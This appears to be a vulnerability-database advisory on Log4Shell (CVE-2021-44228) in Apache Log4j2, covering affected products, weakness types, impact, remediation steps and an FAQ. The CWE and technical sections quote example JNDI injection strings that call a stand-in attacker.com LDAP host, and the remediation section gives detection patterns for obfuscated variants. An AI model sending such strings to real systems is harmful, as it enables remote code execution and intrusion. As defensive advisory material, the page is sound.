CVE-2021-44228
Apache Log4j2 Remote Code Execution Vulnerability
Description
CVE-2021-44228, widely known as Log4Shell, is a critical-severity remote code execution vulnerability in Apache Log4j2, one of the most widely used Java logging libraries. The flaw exists in JNDI lookup functionality that allows attacker-controlled input in log messages to trigger remote code execution via LDAP or other JNDI endpoints. With the maximum possible CVSS score of 10.0, no authentication required, and confirmed use in ransomware campaigns, Log4Shell represents one of the most impactful vulnerabilities in modern computing history. CISA added CVE-2021-44228 to its Known Exploited Vulnerabilities catalog on the same day it was disclosed, and the EPSS score of 94.36% (99.96th percentile) confirms near-certain exploitation activity across the internet.
KEV Information
CVSS Score
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:HOpen in CalculatorCWEs
Affected Products
| Vendor | Product | Version |
|---|---|---|
| siemens | 6bk1602-0aa12-0tp0 firmware | < 2.7.0 |
| siemens | 6bk1602-0aa22-0tp0 firmware | < 2.7.0 |
| siemens | 6bk1602-0aa32-0tp0 firmware | < 2.7.0 |
| siemens | 6bk1602-0aa42-0tp0 firmware | < 2.7.0 |
| siemens | 6bk1602-0aa52-0tp0 firmware | < 2.7.0 |
| apache | log4j | >= 2.0.1, < 2.3.1; >= 2.4.0, < 2.12.2; >= 2.13.0, < 2.15.0; 2.0 |
| siemens | sppa-t3000 ses3000 firmware | All versions |
| siemens | capital | < 2019.1; 2019.1 |
| siemens | comos | < 10.4.2 |
| siemens | desigo cc advanced reports | 3.0; 4.0; 4.1; 4.2; 5.0; 5.1 |
| siemens | desigo cc info center | 5.0; 5.1 |
| siemens | e-car operation center | < 2021-12-13 |
| siemens | energy engage | 3.1 |
| siemens | energyip | 8.5; 8.6; 8.7; 9.0 |
| siemens | energyip prepay | < 3.8.0.12 |
| siemens | gma-manager | < 8.6.2j-398 |
| siemens | head-end system universal device integration system | All versions |
| siemens | industrial edge management | All versions |
| siemens | industrial edge management hub | < 2021-12-13 |
| siemens | logo\! soft comfort | All versions |
Multiple CVSS Assessments
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
References
- http://packetstormsecurity.com/files/165225/Apache-Log4j2-2.14.1-Remote-Code-Execution.html(Third Party Advisory, VDB Entry)
- http://packetstormsecurity.com/files/165260/VMware-Security-Advisory-2021-0028.html(Third Party Advisory, VDB Entry)
- http://packetstormsecurity.com/files/165261/Apache-Log4j2-2.14.1-Information-Disclosure.html(Exploit, Third Party Advisory, VDB Entry)
- http://packetstormsecurity.com/files/165270/Apache-Log4j2-2.14.1-Remote-Code-Execution.html(Exploit, Third Party Advisory, VDB Entry)
- http://packetstormsecurity.com/files/165281/Log4j2-Log4Shell-Regexes.html(Third Party Advisory, VDB Entry)
- http://packetstormsecurity.com/files/165282/Log4j-Payload-Generator.html(Third Party Advisory, VDB Entry)
- http://packetstormsecurity.com/files/165306/L4sh-Log4j-Remote-Code-Execution.html(Third Party Advisory, VDB Entry)
- http://packetstormsecurity.com/files/165307/Log4j-Remote-Code-Execution-Word-Bypassing.html(Third Party Advisory, VDB Entry)
- http://packetstormsecurity.com/files/165311/log4j-scan-Extensive-Scanner.html(Broken Link, Third Party Advisory, VDB Entry)
- http://packetstormsecurity.com/files/165371/VMware-Security-Advisory-2021-0028.4.html(Exploit, Third Party Advisory, VDB Entry)
- http://packetstormsecurity.com/files/165532/Log4Shell-HTTP-Header-Injection.html(Exploit, Third Party Advisory, VDB Entry)
- http://packetstormsecurity.com/files/165642/VMware-vCenter-Server-Unauthenticated-Log4Shell-JNDI-Injection-Remote-Code-Execution.html(Exploit, Third Party Advisory, VDB Entry)
- http://packetstormsecurity.com/files/165673/UniFi-Network-Application-Unauthenticated-Log4Shell-Remote-Code-Execution.html(Exploit, Third Party Advisory, VDB Entry)
- http://packetstormsecurity.com/files/167794/Open-Xchange-App-Suite-7.10.x-Cross-Site-Scripting-Command-Injection.html(Third Party Advisory, VDB Entry)
- http://packetstormsecurity.com/files/167917/MobileIron-Log4Shell-Remote-Command-Execution.html(Exploit, Third Party Advisory, VDB Entry)
- http://packetstormsecurity.com/files/171626/AD-Manager-Plus-7122-Remote-Code-Execution.html(Third Party Advisory, VDB Entry)
- http://seclists.org/fulldisclosure/2022/Dec/2(Exploit, Mailing List, Third Party Advisory)
- http://seclists.org/fulldisclosure/2022/Jul/11(Mailing List, Third Party Advisory)
- http://seclists.org/fulldisclosure/2022/Mar/23(Mailing List, Third Party Advisory)
- http://www.openwall.com/lists/oss-security/2021/12/10/1(Mailing List, Mitigation, Third Party Advisory)
- http://www.openwall.com/lists/oss-security/2021/12/10/2(Mailing List, Mitigation, Third Party Advisory)
- http://www.openwall.com/lists/oss-security/2021/12/10/3(Mailing List, Third Party Advisory)
- http://www.openwall.com/lists/oss-security/2021/12/13/1(Mailing List, Third Party Advisory)
- http://www.openwall.com/lists/oss-security/2021/12/13/2(Mailing List, Third Party Advisory)
- http://www.openwall.com/lists/oss-security/2021/12/14/4(Mailing List, Third Party Advisory)
- http://www.openwall.com/lists/oss-security/2021/12/15/3(Mailing List, Third Party Advisory)
- https://cert-portal.siemens.com/productcert/pdf/ssa-397453.pdf(Third Party Advisory)
- https://cert-portal.siemens.com/productcert/pdf/ssa-479842.pdf(Third Party Advisory)
- https://cert-portal.siemens.com/productcert/pdf/ssa-661247.pdf(Third Party Advisory)
- https://cert-portal.siemens.com/productcert/pdf/ssa-714170.pdf(Third Party Advisory)
- https://github.com/cisagov/log4j-affected-db(Third Party Advisory)
- https://github.com/cisagov/log4j-affected-db/blob/develop/SOFTWARE-LIST.md(Broken Link, Product, US Government Resource)
- https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-44228(Exploit, Third Party Advisory)
- https://lists.debian.org/debian-lts-announce/2021/12/msg00007.html(Mailing List, Third Party Advisory)
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/M5CSVUNV4HWZZXGOKNSK6L7RPM7BOKIB/(Release Notes)
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/VU57UJDCFIASIO35GC55JMKSRXJMCDFM/(Release Notes)
- https://logging.apache.org/log4j/2.x/security.html(Release Notes, Vendor Advisory)
- https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/(Patch, Third Party Advisory, Vendor Advisory)
- https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0032(Third Party Advisory)
- https://security.netapp.com/advisory/ntap-20211210-0007/(Third Party Advisory)
- https://support.apple.com/kb/HT213189(Third Party Advisory)
- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd(Third Party Advisory)
- https://twitter.com/kurtseifried/status/1469345530182455296(Broken Link, Exploit, Third Party Advisory)
- https://www.bentley.com/en/common-vulnerability-exposure/be-2022-0001(Third Party Advisory)
- https://www.debian.org/security/2021/dsa-5020(Mailing List, Third Party Advisory)
- https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00646.html(Third Party Advisory)
- https://www.kb.cert.org/vuls/id/930724(Third Party Advisory, US Government Resource)
- https://www.nu11secur1ty.com/2021/12/cve-2021-44228.html(Exploit, Third Party Advisory)
- https://www.oracle.com/security-alerts/alert-cve-2021-44228.html(Third Party Advisory)
- https://www.oracle.com/security-alerts/cpuapr2022.html(Patch, Third Party Advisory)
- https://www.oracle.com/security-alerts/cpujan2022.html(Patch, Third Party Advisory)
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-44228(Third Party Advisory, US Government Resource)
Weakness Type
CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')
In Apache Log4j2, expression language injection occurs through the message lookup substitution feature, where JNDI expressions embedded in log messages (such as ${jndi:ldap://attacker.com/payload}) are evaluated by the logging framework. This allows attackers to inject malicious JNDI lookups that trigger connections to attacker-controlled servers, ultimately loading and executing arbitrary code.
CWE-502: Deserialization of Untrusted Data
The Log4Shell exploit chain involves deserialization of untrusted data when the JNDI lookup retrieves a malicious Java object from an attacker-controlled LDAP server. The Java runtime deserializes and instantiates this object, executing attacker-supplied code in the process. This deserialization step is what ultimately enables remote code execution.
Learn more: CWE-502 — Deserialization of Untrusted Data
CWE-400: Uncontrolled Resource Consumption
Beyond remote code execution, the Log4Shell vulnerability can also be exploited to cause denial of service through uncontrolled resource consumption. Crafted lookup strings can trigger recursive resolution or excessive network connections to external servers, consuming CPU, memory, and network resources on the affected system.
Learn more: CWE-400 — Uncontrolled Resource Consumption
CWE-20: Improper Input Validation
The root cause of Log4Shell is improper input validation in Log4j2's message formatting. The library fails to validate or restrict the content of log message parameters before performing JNDI lookups, allowing any externally controlled string that reaches a log statement to trigger remote server connections and code execution.
Learn more: CWE-20 — Improper Input Validation
Impact Analysis
CVE-2021-44228 carries the maximum CVSS 3.1 score of 10.0 (CRITICAL), reflecting the most severe possible combination of exploitability and impact metrics. The vulnerability is remotely exploitable over the network with low attack complexity, requires no authentication and no user interaction, and the scope is changed, meaning exploitation impacts resources far beyond the vulnerable Log4j2 library itself. Successful exploitation results in complete compromise of confidentiality, integrity, and availability of affected systems. The EPSS score of 94.36% confirms near-certain exploitation, and CISA has flagged this vulnerability as known to be used in ransomware campaigns, making it a dual threat of both targeted intrusion and opportunistic ransomware deployment. The ubiquity of Log4j2 across enterprise Java applications, cloud services, and embedded systems means that millions of systems worldwide were exposed, making Log4Shell one of the most widespread and dangerous vulnerabilities ever discovered.
Exploit Maturity
CVE-2021-44228 (Log4Shell) has an extremely mature and actively weaponized exploit landscape. Public exploit code is widely available, including proof-of-concept exploits via Packet Storm Security, GitHub repositories, and numerous additional sources including exploits targeting VMware vCenter and UniFi Network Application. CISA has confirmed active exploitation and this vulnerability is known to be used in ransomware campaigns. The EPSS score of 94.36% indicates near-certain exploitation activity. Mass scanning and exploitation began within hours of disclosure in December 2021, with state-sponsored threat actors and ransomware groups rapidly incorporating Log4Shell into their toolkits. The exceptionally low barrier to exploitation (a single crafted string in any logged input) makes this one of the most weaponized vulnerabilities in history.
Remediation
- Apply updates immediately or remove affected assets from networks as mandated by CISA KEV: For all affected software assets for which updates exist, the only acceptable remediation actions are: 1) Apply updates; OR 2) remove affected assets from agency networks. Upgrade Apache Log4j2 to version 2.17.1 (Java 8+), 2.12.4 (Java 7), or 2.3.2 (Java 6) which fully address the vulnerability.
- Identify all instances of Log4j2 in your environment, including transitive dependencies in Java applications. Use software composition analysis (SCA) tools and the CISA log4j-affected-db to identify affected products from vendors including Siemens, VMware, Oracle, Cisco, and others.
- As an interim mitigation, remove the JndiLookup class from the classpath by executing
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class. For versions 2.10+, set the system propertylog4j2.formatMsgNoLookups=trueor environment variableLOG4J_FORMAT_MSG_NO_LOOKUPS=trueas a temporary measure (note: this does not fully protect against all attack vectors). - Deploy WAF rules to detect and block JNDI lookup patterns such as
${jndi:, including obfuscated variants using nested lookups like${${lower:j}ndi:}. Monitor DNS and network traffic for suspicious LDAP, RMI, and DNS queries to unknown external hosts. - Conduct thorough incident response to determine if the vulnerability was exploited prior to patching, searching for indicators of compromise including unusual outbound LDAP connections, unexpected Java class loading, and signs of ransomware deployment or data exfiltration.
Technical Details
CVE-2021-44228 exploits the JNDI (Java Naming and Directory Interface) lookup feature in Apache Log4j2 versions 2.0-beta9 through 2.15.0. When Log4j2 processes a log message containing a JNDI lookup expression such as ${jndi:ldap://attacker.com/exploit}, it resolves the expression by connecting to the specified LDAP server and deserializing the returned Java object, resulting in arbitrary code execution. The attack is trivially simple: any user-controlled string that reaches a log statement (HTTP headers, form fields, user-agent strings, API parameters) can serve as the injection vector. The CVSS vector (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) reflects the worst-case combination: network-accessible, no complexity barriers, no authentication, no user interaction, and scope change indicating impact beyond the vulnerable component. The vulnerability combines multiple weakness types: expression language injection (CWE-917) enables the JNDI lookup, deserialization of untrusted data (CWE-502) enables the code execution, improper input validation (CWE-20) allows the malicious string to reach the lookup engine, and uncontrolled resource consumption (CWE-400) enables denial-of-service variants.
Frequently Asked Questions
Is CVE-2021-44228 being actively exploited?
Yes. CVE-2021-44228 (Log4Shell) is one of the most actively exploited vulnerabilities in history. CISA confirmed active exploitation immediately upon disclosure and has flagged it as known to be used in ransomware campaigns. The EPSS score of 94.36% (99.96th percentile) confirms near-certain exploitation activity, with mass scanning beginning within hours of public disclosure in December 2021.
What products are affected by CVE-2021-44228?
CVE-2021-44228 affects Apache Log4j2 versions 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1). Due to Log4j2's widespread use as a Java logging library, hundreds of products from vendors including Apache, Siemens, VMware, Oracle, and Cisco are affected. The CISA log4j-affected-db provides a comprehensive list of impacted software.
How do I fix CVE-2021-44228?
Upgrade Apache Log4j2 to version 2.17.1 (Java 8+), 2.12.4 (Java 7), or 2.3.2 (Java 6). For all applications using Log4j2 as a dependency, update the dependency and rebuild. As an interim measure, remove the JndiLookup class from the classpath or set the formatMsgNoLookups property to true.
How severe is CVE-2021-44228?
CVE-2021-44228 has the maximum possible CVSS 3.1 score of 10.0 (CRITICAL). It requires no authentication, no user interaction, and is trivially exploitable remotely. The vulnerability is confirmed to be used in ransomware campaigns and has been described as one of the most severe vulnerabilities ever discovered due to the ubiquity of Log4j2 in enterprise software.
Need Help With Vulnerability Management?
Our security experts can help you prioritize and remediate vulnerabilities effectively.